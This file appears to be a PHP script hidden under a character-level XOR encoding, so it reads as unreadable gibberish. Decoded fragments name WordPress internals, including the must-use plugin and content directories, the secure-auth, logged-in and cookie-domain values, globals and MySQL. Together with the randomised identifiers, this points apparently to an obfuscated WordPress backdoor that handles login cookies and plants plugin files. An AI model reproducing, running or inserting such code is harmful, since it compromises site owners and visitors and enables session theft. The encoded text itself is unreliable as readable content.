b5555B5NVVNSR^JZ^MM^F]]W	SFT[SO[QS
EFRTLZZP[K
5YPMZ^\WNVVNSR^JZ^LMPTUMJYFEND5VYVLLZKWV	QMS`FZEdMPTUMJYFENbd]]W	SFT[SO[QS
bCCVXM][PQ]Y\L
WV	QMS`FZEdMPTUMJYFENbdVH`INEO^FN]EX
bD5\PQKVQJZ555B5YPMZ^\WWV	QMS`FZEdMPTUMJYFENbdVH`INEO^FN]EX

b^LTZFPY
RJGWETYD5555VYVXM][PQ]Y\L
	TZFNHWM
	E]	YE^MY^SLZCCTZFNHWM
	E]	YE^MD5JQLZKWV	QMS`FZEdMPTUMJYFENbdVH`INEO^FN]EX

bdTZFb5\PQKVQJZ5B55VYZQG][FGTZFZQG][FGD55JQLZKWV	QMS`FZEdMPTUMJYFENbdVXM][PQ]Y\L

bdTZFb5\PQKVQJZ5B5B55B5hoq^IVX^KVPQ}SP\T^QKVRPQPKPQZM^[VGKMZZ55YPMZ^\W^MM^F]]W	SFT[SO[QS
EFRTLZZP[K
^LFVPMPLP][MMJUD5JLIM^H`M	IXLZXVLLZKWV	QMS`FZEdFVPMPLP][MMJUbdVH`INEO^FN]EX

bVH`INEO^FN]EX
WV	QMS`FZEdFVPMPLP][MMJUbdEFRTLZZP[K

b WV	QMS`FZEdFVPMPLP][MMJUbd]]W	SFT[SO[QS

b^MM^F55VYJLIM^H`M	IXLZX\PQKVQJZ5HVYIYXFOP`[ZYVQZ[EFRTLZZP[K horj`osjxvq`{vm[ZYVQZ[EFRTLZZP[K ho`|pqkzqk`{vm]]W	SFT[SO[QS
5555`S`O`[FRS\U^MM^FFX`\HUTG
G	[KUPKJZXOXEOMFX`\HUT	5VYZQG][FG`S`O`[FRS\UdbZQG][FG5`S`O`[FRS\UdbVH`INEO^FN]EXM	L]ZERI55VYHVYIYXFOP`EFRTLZZP[KHVYIYXFOP`EFRTLZZP[KVXM][PQ]Y\L
DEIYGORLTXKCRU^K[R]P
REIYGORLTXKa	55YPMZ^\W^MM^F]]W	SFT[SO[QS
HVYIYXFOP`VXM][PQ]Y\L		^LMQWL
ZNF\LYLD5I\GKLEP]]W	SFT[SO[QS	MQWL
ZNF\LYLY^SLZQJSS

5VYVXM][PQ]Y\LI\GKLEPCC]]W	SFT[SO[QS
	I\GKLEPEFRTLZZP[K
Y^SLZ\PQKVQJZ555VYEFRTLZZP[K	]]W	SFT[SO[QS	I\GKLEPJF\MWIKFD5X`PPQK^IEY]VXM][PQ]Y\LJF\MWIKFdb55VYX`PPQK^IEY]`S`O`[FRS\UdbX`PPQK^IEY]5B5YVQVKZ]JSTWZ^[55555`S`O`[FRS\UdbEFRTLZZP[K	MQWL
ZNF\LYL5B5B5555YPMZ^\WJLIM^H`M	IXLZX^LTZFPY
RJGWETYD5YPMZ^\W`S`O`[FRS\U^LQOVTF[M\TW`KND5VYTZFQOVTF[M\TW`KNCCTZFL^QVKVEZ`KZGK`YVZS[QOVTF[M\TW`KND5JQLZKWV	QMS`FZEdFVPMPLP][MMJUbdVH`INEO^FN]EX

bdTZFb5]MZ^TYJ\[\N
RG	ZGH]NU`YJ\[\N
R5B5B555B5B555SHFP\USUVLLZKWV	QMS`FZEdVH`INEO^FN]EX	bd]]W	SFT[SO[QS

b]]W	SFT[SO[QS	WV	QMS`FZEdEFRTLZZP[K	bdEFRTLZZP[K

b WV	QMS`FZEd]]W	SFT[SO[QS	bdEFRTLZZP[K	
b^MM^F5VYSHFP\USUD5EU`OZN	`[ZYVQZ[VH`INEO^FN]EX ho`|pqkzqk`{vm[ZYVQZ[EFRTLZZP[K		 ~}lo~kwVH`INEO^FN]EX	5FOVJ]SOU	Y`U^MM^F]]W	SFT[SO[QS]]W	SFT[SO[QSVH`INEO^FN]EXVH`INEO^FN]EX5YPMZ^\WSHFP\USU^LTZFPY
RJGWETYD5VYVLLZKFOVJ]SOU	Y`UdTZFbCCEU`OZN	`\PQKVQJZ55\NEVQUTIZUVH`INEO^FN]EX	EU`OZN	`TZFY^SLZQJSS	5VYVH`INEO^FN]EX\NEVQUTIZUVXM][PQ]Y\L
	\NEVQUTIZUVH`INEO^FN]EX	FOVJ]SOU	Y`UdTZFb]]W	SFT[SO[QS	Y^SLZCC]]W	SFT[SO[QS\NEVQUTIZUVXM][PQ]Y\L
Y^SLZD5JQLZKWV	QMS`FZEdVXM][PQ]Y\L	bdVH`INEO^FN]EX	
bdTZFb555B5[ZOMPIVLVPQYZ^LV]SZRZRZQKP55555B5B5hoo^XZsVLK^\TQPHSZ[XZZYYZ\KKFOZ55MZKJMQWV	QMS`FZE5B55YJQ\KVPQYF\LOH`LGKL[UGKRJ`
N
OHLN]ZUK5D5VY]]W	SFT[SO[QS	N
OHLN]ZUKD5O^K\WKPK^S\VOWZMLJVKZ55MZKJMQN
OHLN]ZUK5B5YIO]SMLO	YPVXM][PQ]Y\L	M	L]ZERI5MI	YWS]TPVEW]]W	SFT[SO[QSYIO]SMLO	YPo~kwvqyp`yvszq~rz5VXOWYT^Z^MM^F5^MM^FEFRTLZZP[KVH`INEO^FN]EXYIO]SMLO	YPEFRTLZZP[KVH`INEO^FN]EXKMJZ5555^MM^FVXM][PQ]Y\L]]W	SFT[SO[QS
VH`INEO^FN]EXMI	YWS]TPVEW]]W	SFT[SO[QSEFRTLZZP[KKMJZ55VYVLLZKN
OHLN]ZUKdVXM][PQ]Y\L	b]]W	SFT[SO[QS	N
OHLN]ZUKd]]W	SFT[SO[QS	bD5YPMZ^\WN
OHLN]ZUKdEFRTLZZP[K	b^LKTI
NWZV	
LXZ\X
ENGGO\D55VYVH`INEO^FN]EXLXZ\X
ENGGO\CCVH`INEO^FN]EXKTI
NWZV	
D5\PQKVQJZ5B5555VYVLLZKN
OHLN]ZUKd]]W	SFT[SO[QS	bdKTI
NWZV	
bdEFRTLZZP[KbCC]]W	SFT[SO[QSN
OHLN]ZUKdVXM][PQ]Y\L	bdKTI
NWZV	
bdEFRTLZZP[KbD555N
OHLN]ZUKd]]W	SFT[SO[QS	bdKTI
NWZV	
bd]]W	SFT[SO[QSb^MM^F5B5YPMZ^\WVXOWYT^Z^LKRFUUW[UH[D5YPS[\PQLKXZQZM^SMZ\JMLVIZWFOZMSPXSPX55555N
OHLN]ZUKdEFRTLZZP[K	bdKTI
NWZV	
bdEFRTLZZP[KbdbKRFUUW[UH[5B5B5B5MZKJMQN
OHLN]ZUK5B55YJQ\KVPQNLZ[	F][\QMJ5DTSGRF
owo`vqk`r~gowo`vqk`r~gYE`NH^U^SGTSGRF
5KMFD5VY[ZYVQZ[VXM][PQ]Y\LCC\PQLK^QKEFRTLZZP[K
D5MZKJMQVQYEONM`SO\Gowo`vqk`r~gowo`vqk`r~gEMG`RNNPFOXVQYEONM`SO\G5B5VYVH`INEO^FN]EX	VH`INEO^FN]EXY^SLZD5OMVRVKVIZMZ\JMLVIZYVSKZM\W^VQ55MZKJMQ5B5^[KFVR]VXM][PQ]Y\L	M	L]ZERI5SY^VP[KNO]\[ZYVQZ[]]W	SFT[SO[QS ho`osjxvq`{vm5]V`[GOYHG^MM^F5SY^VP[KNO]\VXM][PQ]Y\L5SY^VP[KNO]\EFRTLZZP[K5555SY^VP[KNO]\VH`INEO^FN]EX
555WQRKMHIJXXWTI5YPMZ^\W]V`[GOYHG^L[ZNRP^YRR]OD5VY[ZNRP^YRR]OEFRTLZZP[K	[ZNRP^YRR]OEFRTLZZP[K[ZNRP^YRR]OD5555WQRKMHIJXXWTI[ZNRP^YRR]O5]MZ^T5B5B5VYWQRKMHIJXXWTID5MZKJMQ5B5TQRVWZYRR`VH`INEO^FN]EX	WQRKMHIJXXWTI5LOS`^JKPSP^[`MZXVLKZMYJQ\KVPQ\E[[N\GLJLZTQRVWZYRR`D5YPMZ^\W^MM^FTQRVWZYRR`\E[[N\GLEFRTLZZP[KTQRVWZYRR`\E[[N\GLVH`INEO^FN]EX^LE\^T
T\EFWI]JSD5555VYVXM][PQ]Y\L	E\^T
T\EFWI]JSD5VQ\SJ[Z`PQ\ZE\^T
T\EFWI]JS5MZKJMQ5B5555B5555B5K]R
KFPJS\OVH`INEO^FN]EX	WQRKMHIJXXWTI5VYK]R
KFPJS\OY^SLZCCVXM][PQ]Y\LK]R
KFPJS\O]]W	SFT[SO[QSY^SLZD5555MZKJMQ5B5K]R
KFPJS\OVXM][PQ]Y\L]]W	SFT[SO[QSK]R
KFPJS\O5K]R
KFPJS\OVH`INEO^FN]EXVXM][PQ]Y\LVXM][PQ]Y\LK]R
KFPJS\O5^GZQ[WEGF
N]X\`		MQ\[[WOJT`	\G	ZUGHRIX`P\SXMEP]]W	SFT[SO[QS

5VY^GZQ[WEGF
N]XY^SLZDLOWYPT
YE

	ZK[	WPHQLGHLOWYPT
YE	5MZKJMQ5B5EFRTLZZP[K^GZQ[WEGF
N]XEFRTLZZP[KK]R
KFPJS\O5KMFD5VQ\SJ[Z^GZQ[WEGF
N]X5BYVQ^SSFD5VFSMLJMN\IFZNQ^GZQ[WEGF
N]X5B5KKRM]JU^IMJJHXEFRTLZZP[K^[KFVR]o~kwvqyp`yvszq~rz5xsp}~sldVXM][PQ]Y\Lb^[KFVR]5xsp}~sldVH`INEO^FN]EX
bKKRM]JU^IMJJHX5O\OI[VMEFRTLZZP[K	5EFRTLZZP[K55VXM][PQ]Y\L5VXM][PQ]Y\L5]]W	SFT[SO[QS55B5]]W	SFT[SO[QS5B5B5W\XJRP``\`		MQ\[[WOJT`	\G	ZUGHRIX`P\SXMEPEFRTLZZP[K5VYW\XJRP``D5LKMZQXKWMZ[J\Z^\\JRJS^KPMYPMhozQKVKFoMPIV[ZM55]]W	SFT[SO[QSW\XJRP``O\OI[VM5KMFD55VQ\SJ[ZW\XJRP``SGQS]`UQZNJOQHKWQSGQS]`UQZNJO
5BYVQ^SSFD5VFSMLJMN\IFZNQW\XJRP``5B5B5JQMPSSY^\KPM55B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5ho}JKKPQ}SP\TMZSZ^LZKMVZ55B5VY]]W	SFT[SO[QS]]W	SFT[SO[QSDZL	`Y`FGEYZ[LQREZL	`Y`F5YJQ\KVPQPT\NM^GLK\ZFH^W`FKJFPHLLKLV[FYQ	
FFP5D5VYVXM][PQ]Y\L
H^W`FKJFPHLLKD5^\KVI^KZM^KZSVRVKZM55MZKJMQH^W`FKJFPHLLK5555B5F\F\
XRPQX^MM^FEFRTLZZP[K	]]W	SFT[SO[QSEFRTLZZP[KVXM][PQ]Y\LVXM][PQ]Y\L	5YPMZ^\WF\F\
XRPQX^LTZFD5OMZ[V\KVIZ\PI^MV^QK55VYVLLZKH^W`FKJFPHLLKdTZFbCCVH`INEO^FN]EX
H^W`FKJFPHLLKdTZFbD5\PQKVQJZ5B5555MVE\IUEPWNQ[G`G^MM^F5YPMZ^\WH^W`FKJFPHLLKdTZFb^LWSWYL`	
YD5VYEFRTLZZP[KWSWYL`	
YD5rFlnsulpqPOZM^KPMLOPLKKFOZLZKJO55MVE\IUEPWNQ[G`GdbWSWYL`	
Y5\PQKVQJZ5B5QOTG	O^LRVLLZKWSWYL`	
YdVH`INEO^FN]EXb WSWYL`	
YdEFRTLZZP[Kb55KKRM]JU^IMJJHXVLLZKxsp}~sld]]W	SFT[SO[QSb xsp}~sldEFRTLZZP[Kb555VYQOTG	O^LRLV[FYQ	
FFPCCKKRM]JU^IMJJHXQOTG	O^LRKKRM]JU^IMJJHXD55\PQKVQJZ5B55MVE\IUEPWNQ[G`GdbPT\NM^GLK\ZFWSWYL`	
YLV[FYQ	
FFP5B5H^W`FKJFPHLLKdTZFbMVE\IUEPWNQ[G`GOSJENSZ
\RRP	EKJOSJENSZ5B5MZKJMQH^W`FKJFPHLLK5B5B5YJQ\KVPQQF[VMHTRKHH
PX[JKK5D5YVSKZMZGOMZLLVPQ55KMFD5VYEFRTLZZP[KVH`INEO^FN]EXXZK`KM^QLVZQK]]W	SFT[SO[QSD5MZKJMQ5B5555MYX
Y
LYW^VXM][PQ]Y\LM	L]ZERI5VYMYX
Y
LYW^MYX
Y
LYW^



MYX
Y
LYW^	ERZ[YU	]IK\ERXH
M	L]ZERID5]^]RLVZ]]W	SFT[SO[QS	M	L]ZERI5VY]]W	SFT[SO[QS]^]RLVZEFRTLZZP[K]^]RLVZMYX
Y
LYW^IE[
QM[VN\`]\E]J]^]RLVZD5VYL]NY]EJ\QQ
ILGUVGOM	L]ZERIKYRNPPYTJF^ZT
PQH]^]RLVZD5ZUST[\KTSM	L]ZERI5S^YTFWKYW`^M	L]ZERI5B5B5JQLZK]^]RLVZ5B555SVK
G

]UHHVH`INEO^FN]EXM	L]ZERI555KQE`KT]LSVK
G

]UHHSVK
G

]UHH5VYKQE`KT]LSVK
G

]UHH
D5KQE`KT]LY^SLZ5B555VYKQE`KT]LD5TTNPXXMEFRTLZZP[K	M	L]ZERI5VYVH`INEO^FN]EXTTNPXXMEFRTLZZP[KTTNPXXM
TTNPXXMUH`VLVJVW
UTUZTTNPXXM5VYVXM][PQ]Y\LTTNPXXMCCIE[
QM[VN\`]\E]JTTNPXXMD5KQE`KT]LY^SLZ5BZSLZD5X\P[PZG	VWHNI]W]VJIUHXHJMEQT``GVH`INEO^FN]EX
5`V\ZN[KGQVVJ
MPT
KNP	YIHETTNPXXM5PT[QXUI[ELMXMPT
KNP	YIHE]]W	SFT[SO[QSX\P[PZG	VWHNI] X\P[PZG	VWHNI]5VY`V\ZN[KGQVVJ
PT[QXUI[ELMXCCIZMLVPQ`\PRO^MZPT[QXUI[ELMX`V\ZN[KGQVVJ
D5YPKJI	XSWW]EFRTLZZP[KTTNPXXM5555NHXOEN	JITUVXM][PQ]Y\L	VXM][PQ]Y\L	M	L]ZERIEFRTLZZP[K
YPKJI	XSWW]5VYNHXOEN	JITUD5`\KMRO[RKOZXZK`POKVPQVH`INEO^FN]EX5VYEFRTLZZP[K`\KMRO[RKOZVXM][PQ]Y\L`\KMRO[RKOZYPKJI	XSWW]C]]W	SFT[SO[QS
VQKVXM][PQ]Y\L`\KMRO[RKOZVXM][PQ]Y\L`\KMRO[RKOZCG[GZNHXOEN	JITUKMJZ5B5VYNHXOEN	JITUKQE`KT]LY^SLZ555VYNHXOEN	JITUEFRTLZZP[KX\P[PZG	VWHNI]X\P[PZG	VWHNI]CCPT[QXUI[ELMXCCIZMLVPQ`\PRO^MZPT[QXUI[ELMX`V\ZN[KGQVVJ
UE`SSEE	KFE^M[HQTRI]]W	SFT[SO[QS
TTNPXXMVXM][PQ]Y\L5JQLZKYPKJI	XSWW]NHXOEN	JITU`\KMRO[RKOZ555BZSLZVYVXM][PQ]Y\LX\P[PZG	VWHNI]VXM][PQ]Y\LX\P[PZG	VWHNI]

]]W	SFT[SO[QSX\P[PZG	VWHNI]

]MXM\FR
]WN
KZE	X\P[PZG	VWHNI]IE[
QM[VN\`]\E]JX\P[PZG	VWHNI]VXM][PQ]Y\LTTNPXXMVXM][PQ]Y\LX\P[PZG	VWHNI]D5OPLK[PRVQ^KZLV[ZZYYZ\KYMZZ\PQKMPSYSPHXM^OW55KQE`KT]LY^SLZ5B5B5B5VYKQE`KT]LD5vQKSZGKZQLVPQMZS^GZ[OVOZSVQZ55VYVXM][PQ]Y\LVXM][PQ]Y\LD5LZK`KM^QLVZQK]]W	SFT[SO[QSGG]5555B5MZKJMQ5B5VYERZ[YU	]IK\ERXH
M	L]ZERID5MZKJMQ5B5LGXW
RMWZLNJVXM][PQ]Y\L	M	L]ZERI5VYVXM][PQ]Y\LLGXW
RMWZLNJD5\PSPMMZXVLKZMMZ\PM[S^FZM55`QGTGLSFXUY^^[LGXW
RMWZLNJ
KMJZ5B5GQH]H^SYTWVW]VJIUHXHJMEQT``GEFRTLZZP[K5VYGQH]H^SYTWVCCVXM][PQ]Y\LGQH]H^SYTWVD5VYXZK`KM^QLVZQKVH`INEO^FN]EXD55PTG]`[M\TJL[^FSJVXM][PQ]Y\LVH`INEO^FN]EX555555LZK`KM^QLVZQKVH`INEO^FN]EX5B5B5VYGQH]H^SYTWVEFRTLZZP[KGQH]H^SYTWVVH`INEO^FN]EXGQH]H^SYTWV	]]W	SFT[SO[QSGQH]H^SYTWV]MXM\FR
]WN
KZE	GQH]H^SYTWVIE[
QM[VN\`]\E]JGQH]H^SYTWVD5G[FVK\KLWUSTMPT
KNP	YIHEGQH]H^SYTWV55VYG[FVK\KLWUSTIZMLVPQ`\PRO^MZG[FVK\KLWUSTHX]T^EKEHX	P^Q^	HYKD5MZKJMQGZ^XX[[P]LZ\CPVGLHQR^F	MGZ^XX[[P]LZ\a55555B5IRSGXGM
LWP
]]W	SFT[SO[QS	M	L]ZERI]]W	SFT[SO[QSEFRTLZZP[K	M	L]ZERIVXM][PQ]Y\L555R
UZFLI	KSSFWP]]W	SFT[SO[QS	IRSGXGM
LWP
 VH`INEO^FN]EX
LKMVQXEFRTLZZP[K	IRSGXGM
LWP
5VYR
UZFLI	KSSFWPVH`INEO^FN]EXGQH]H^SYTWVR
UZFLI	KSSFWPD5555MZKJMQ5B55NNKZM`SOUHJYLELIV\ZM	L]ZERI5MVQ
U^L]NY]EJ\QQ
ILGUVGOM	L]ZERIKYRNPPYTJF^ZT
PQHGQH]H^SYTWV5VYMVQ
U^D5ZUST[\KTSM	L]ZERI5NNKZM`SOUHJYLELIV\ZM	L]ZERI	5S^YTFWKYW`^M	L]ZERI5ZEGGFQGIVMRHKMJZ555GK^MSXUNEKNHLVKKMJZ5Q]QQGSPYJGTGQSFM	L]ZERI5VYVH`INEO^FN]EXVXM][PQ]Y\LD5LZK`KM^QLVZQK]]W	SFT[SO[QSG
^ZG	5B5BZSLZVYEFRTLZZP[KVH`INEO^FN]EXD5LZK`KM^QLVZQK]]W	SFT[SO[QS	5B555B5555B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSSKQO
]K`5555B\^K\WzG\ZOKVPQSKQO
]K`D5B5B55YJQ\KVPQUWXY`M
U`OMPJ5D5owo^KKMV]JKZLVR^XZ[VRZQLVPQL55T[ZM`X
HZ[
XEFRTLZZP[KEFRTLZZP[K5T[ZM`X
HZ[
XEFRTLZZP[K]]W	SFT[SO[QS5VYVXM][PQ]Y\LEFRTLZZP[KD5MZRPIZ`^\KVPQ]]W	SFT[SO[QSEFRTLZZP[K5MZRPIZ`^\KVPQVH`INEO^FN]EXVH`INEO^FN]EX5MZRPIZ`^\KVPQ]]W	SFT[SO[QSVXM][PQ]Y\L


5555B5ho}SP\Ti^MV^KVPQLPOKVPQMPH55B5YJQ\KVPQ`RTGUXJNWW
5D5KMFD5QPMR^SVEZ555HO[]xsp}~sldVH`INEO^FN]EX	b55555G[MUF]ZTRHO[]OMZYVGVXM][PQ]Y\L5]UG^Y`	VM	^^YlEFRTLZZP[KHO[]JLZMLEFRTLZZP[KHO[]JLZMRZK^]]W	SFT[SO[QS5MZKJMQHO[]XZK`MZLJSKLHO[]OMZO^MZ]UG^Y`	VM	^^YG[MUF]ZTRVXM][PQ]Y\L5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5MZKJMQ^MM^F\`HFO
N\
C\IL	NYJLUGK\`HFO
N\a	5555B5YJQ\KVPQQ`]K[SJGJTPG	EZIPF[`]
VP\5D5RZ]HHU^Z
LNQ^MM^F5QSE\GQZQG
YJQ\KVPQJTIPP
TYOI
MOD5OJ]SVLWLQ^OLWPKVLPS^KZ[HMVKZ^WZ^[SPX55JTIPP
TYOI
MOdVXM][PQ]Y\Lb5MZKJMQJTIPP
TYOI
MO5B5LKMZ^RVQXOJ]SVLWZM55555KMFD5VYVXM][PQ]Y\L]]W	SFT[SO[QSCCVXM][PQ]Y\L	]]W	SFT[SO[QSD5owoR^K\WZGOMZLLVPQ]PPKLKM^O\^O^]VSVKF55MZKJMQRZ]HHU^Z
LNQ5B5555VY]]W	SFT[SO[QS
PF[`]
VP\CCZROKFPF[`]
VP\D5MZKJMQRZ]HHU^Z
LNQ555B5TJM`	`SWEFRTLZZP[K	
a	5555VL`LLSVH`INEO^FN]EX]]W	SFT[SO[QS
VL`LLS5TWWQT\HOXJS\VL`LLS ]]W	SFT[SO[QSVXM][PQ]Y\L5MPFMIVTRW
TVL`LLS [ZYVQZ[EFRTLZZP[K lz|jmz`~jkw`|pptvz[ZYVQZ[VH`INEO^FN]EX
 ~jkw`|pptvz5RRUQ[
KJKFRX[GY[ZYVQZ[VH`INEO^FN]EX
 spxxz{`vq`|pptvz5555VYMPFMIVTRW
TCCRRUQ[
KJKFRX[GYD5MZKJMQRZ]HHU^Z
LNQ5B5V]	^]TIM]E
M	N[ZYVQZ[VXM][PQ]Y\L
|pptvz`{pr~vq EFRTLZZP[K|pptvz`{pr~vqHXE\OLIFZTPN]Y5MEPXG^W]^OT[ZYVQZ[VXM][PQ]Y\L
 |pptvzo~kw5J
YVVHNMH[ZYVQZ[VXM][PQ]Y\L
 ~{rvq`|pptvz`o~kw]]W	SFT[SO[QS

5[ZEYROGJE`VL`LLS ]]W	SFT[SO[QS
	]]W	SFT[SO[QS
5VLXMN]]GOcK5T[ZM`X
HZ[
XVXM][PQ]Y\L
QSE\GQZQG
5SJ^IZHQTZ
IZOXFH`L^GPJJ	PVH`INEO^FN]EX
5K^^^^RXH\TM]]W	SFT[SO[QS	VXM][PQ]Y\L	 XZK`POKVPQSJ^IZHQT^MM^F^MM^F5VYVXM][PQ]Y\L
K^^^^RXH\TMK^^^^RXH\TM^MM^F5LJHE	ZN^NSJO	Y^SLZ5GKR^S]W55YPMZ^\WPF[`]
VP\^LGYOUY
IILRTZUD5555VYEFRTLZZP[KGYOUY
IILRTZUCCGYOUY
IILRTZUv{CCGYOUY
IILRTZUJLZM`SPXVQD5\PQKVQJZ555B5VYGKR^S]WD5]MZ^T5B5UIYIHE\QFU[LKMVQXGYOUY
IILRTZUJLZM`SPXVQQVOXG	C^UEGQMHHGV`FQVOXGa555VYVLLZKK^^^^RXH\TMdUIYIHE\QFU[bVQKK^^^^RXH\TMdUIYIHE\QFU[bEFRTLZZP[K	

	
D5\PQKVQJZ5B5HO`\^\WZ`[ZSZKZGYOUY
IILRTZUv{]]W	SFT[SO[QS	55NOX^		\`XZK`JLZM`RZK^GYOUY
IILRTZUv{]]W	SFT[SO[QS	KMJZ555VYEFRTLZZP[K
NOX^		\`VXM][PQ]Y\L	NOX^		\`D5R^K	HLG	ZR^MM^F5YPMZ^\WNOX^		\`^L\MWGQRKKYK[UEVRZFXUD5555VYVLLZKK[UEVRZFXUdEFRTLZZP[K	
bK[UEVRZFXUdVXM][PQ]Y\L	
bVH`INEO^FN]EX	D5R^K	HLG	ZRd\MWGQRKKYbK[UEVRZFXU5B5B5VYEFRTLZZP[K		R^K	HLG	ZREFRTLZZP[K		NOX^		\`D5JO[^KZ`JLZM`RZK^GYOUY
IILRTZUv{VH`INEO^FN]EX	R^K	HLG	ZR5B5B5555HO`\^\WZ`[ZSZKZGYOUY
IILRTZUv{VH`INEO^FN]EX	5V	ZIFXWTIPREFRTLZZP[K
^MM^FVXM][PQ]Y\LEFRTLZZP[K	GYOUY
IILRTZUv{5`QMX	K^NO]PSV	ZIFXWTIPR\MZ^KZTJM`	`SW5H]\YLZYHEK^MM^F5H]\YLZYHEKdbV]	^]TIM]E
M	NVLXMN]]GOVXM][PQ]Y\L
	VLXMN]]GOMEPXG^W]^OTVLXMN]]GO[ZEYROGJE`VLXMN]]GOTJM`	`SWVLXMN]]GORRUQ[
KJKFRX[GYVLXMN]]GOVXM][PQ]Y\LGYOUY
IILRTZUv{TJM`	`SW]]W	SFT[SO[QS	`QMX	K^NO]PS5VYMPFMIVTRW
TD5H]\YLZYHEKdbV]	^]TIM]E
M	NVLXMN]]GOVXM][PQ]Y\L	VLXMN]]GOJ
YVVHNMHVLXMN]]GO[ZEYROGJE`VLXMN]]GOTJM`	`SWVLXMN]]GOMPFMIVTRW
TVLXMN]]GOVH`INEO^FN]EXGYOUY
IILRTZUv{TJM`	`SWTWWQT\HOXJS\`QMX	K^NO]PS5B555RZ]HHU^Z
LNQdGYOUY
IILRTZUJLZM`SPXVQbH]\YLZYHEK5K^^^^RXH\TMdUIYIHE\QFU[bTJM`	`SWKOEYU`]N	`	
ZKOEYU`]5LJHE	ZN^NSJO	KMJZ5GKR^S]W5B5WZMRVKV^QWFOZMSPXSPX555VYLJHE	ZN^NSJO	]]W	SFT[SO[QS	]]W	SFT[SO[QSD5JO[^KZ`POKVPQSJ^IZHQTK^^^^RXH\TM]]W	SFT[SO[QS5B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`555B\^K\WzG\ZOKVPQSKQO
]K`D5B5MZRPIZ`YVSKZMVXM][PQ]Y\LQSE\GQZQG
5MZKJMQRZ]HHU^Z
LNQ5555B5YJQ\KVPQQ`FE\J^[N[\YQ[IT`GFMXHS55D5VYVXM][PQ]Y\LIT`GFMXHSMZKJMQIT`GFMXHS5VY]]W	SFT[SO[QSIT`GFMXHSVLLZKIT`GFMXHSdObVXM][PQ]Y\LIT`GFMXHSdObMZKJMQIT`GFMXHSdOb5MZKJMQ5B5YJQ\KVPQUTHJZR`Y`N`ME]U
^PF[`]
VP\5D55SVLK^MM^F5IN`PKFKONLKMVQXW]VJIUHXHJMEQT``G]]W	SFT[SO[QS5M[	^
S\PYLKMVQXW]VJIUHXHJMEQT``GVXM][PQ]Y\L
5VYIN`PKFKONM[	^
S\PYD5SVLKdIN`PKFKONbM[	^
S\PY555555B5GFV[Y
HPJW]VJIUHXHJMEQT``GVXM][PQ]Y\L	^MM^F55VYVXM][PQ]Y\LGFV[Y
HPJD5555YPMZ^\WGFV[Y
HPJ^LK^OIQTRFX^XHM[NMFD5YS]Y^ERQVMPQ`FE\J^[N[\YQ[^XHM[NMF5VYYS]Y^ERQVMPSVLKdLKMVQXK^OIQTRFXbYS]Y^ERQVMP5B5B5MZKJMQSVLK55B5YJQ\KVPQNNYNJLMOWL\STFFXRK^OIQTRFX^T
N	TTUUU]VYNI^XE	KIO[5D5KMFD5VYEFRTLZZP[K	K^OIQTRFXCC]]W	SFT[SO[QSK^OIQTRFX]]W	SFT[SO[QSD5MZKJMQK^OIQTRFX5B5VYK^OIQTRFXW^L`\^OEFRTLZZP[KD5MZKJMQK^OIQTRFX5B5VY]]W	SFT[SO[QS]VYNI^XE	KIO[CC]VYNI^XE	KIO[D5rFlns|kzLRZ^LJMZ^SSP\^KPM55MZKJMQK^OIQTRFX5B5GFV[Y
HPJW]VJIUHXHJMEQT``GVH`INEO^FN]EX^MM^F5VYEFRTLZZP[KGFV[Y
HPJD5GFV[Y
HPJ^MM^F555B5YPMZ^\WGFV[Y
HPJ^LF\T`^M`N	H^
EMRWQGM^D555OFJE`Y]K]GH]]W	SFT[SO[QSRWQGM^VLLZKRWQGM^dVXM][PQ]Y\Lb VQKRWQGM^dEFRTLZZP[Kb55VYOFJE`Y]K]GHOFJE`Y]K]GH]]W	SFT[SO[QS

JQLZKGFV[Y
HPJdF\T`^M`N	H^
EMb555B555GFV[Y
HPJdK^OIQTRFXJLZM`SPXVQb^MM^FO]VYNI^XE	KIO[VH`INEO^FN]EX]]W	SFT[SO[QSVXM][PQ]Y\L	5UE`SSEE	KFE^M[HQTRIEFRTLZZP[KGFV[Y
HPJVXM][PQ]Y\L55B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`555B\^K\WzG\ZOKVPQSKQO
]K`D5B5MZKJMQK^OIQTRFX5B555YJQ\KVPQH^IUVGT^GE	XLJEMLF]
K^OIQTRFX5D5KMFD5VYVH`INEO^FN]EXJEMLF]
CCJEMLF]
MZKJMQ555GFV[Y
HPJW]VJIUHXHJMEQT``GVH`INEO^FN]EX^MM^F5VY]]W	SFT[SO[QSGFV[Y
HPJCCVLLZKGFV[Y
HPJdJEMLF]
bMZKJMQ5SKQO
]K`GFV[Y
HPJdJEMLF]
b5VY]]W	SFT[SO[QS
SKQO
]K`ZROKFSKQO
]K`dVH`INEO^FN]EX	bDILFRQLYPG[G\
TPEGXZMIOILFRQLYP5GFV[Y
HPJdJEMLF]
bd]]W	SFT[SO[QS	b^JUYORNUT^JG]FWYIL	^JUYORNU5UE`SSEE	KFE^M[HQTRIVH`INEO^FN]EXGFV[Y
HPJVH`INEO^FN]EX5B55B\^K\WkWMPH^]SZU]^I[IQQON]TD5PTG]`[M\TJL[^FSJEFRTLZZP[K	U]^I[IQQON]T5B\^K\WzG\ZOKVPQU]^I[IQQON]TD5555B5B5YJQ\KVPQT
XNX`J\NEX]^X	KV[E`KPF[`]
VP\5D`GYJTOHYOZ[H
CTVF[E`GYJTOHYOZ[Ha555VYVH`INEO^FN]EX
PF[`]
VP\D5^H^VKV[ZROPKZQK^[U\PPM[VQ^KPM55MZKJMQY^SLZ55B5SY][]]J[W]VEK[EH	]^LXWGZPR5YPMZ^\WPF[`]
VP\^LGYOUY
IILRTZUD5YPMZ^\WSY][]]J[W]^LP	TRIXXQVJT`D5VYVH`INEO^FN]EX	EFRTLZZP[KEFRTLZZP[KP	TRIXXQVJT`VH`INEO^FN]EXGYOUY
IILRTZUJLZM`SPXVQD5KPK^SOMPPYKZMR55MZKJMQGYOUY
IILRTZU5B5B5B5MZKJMQY^SLZ5B5YJQ\KVPQPLZOO]ZZSGMJWSEMJUFMM^[
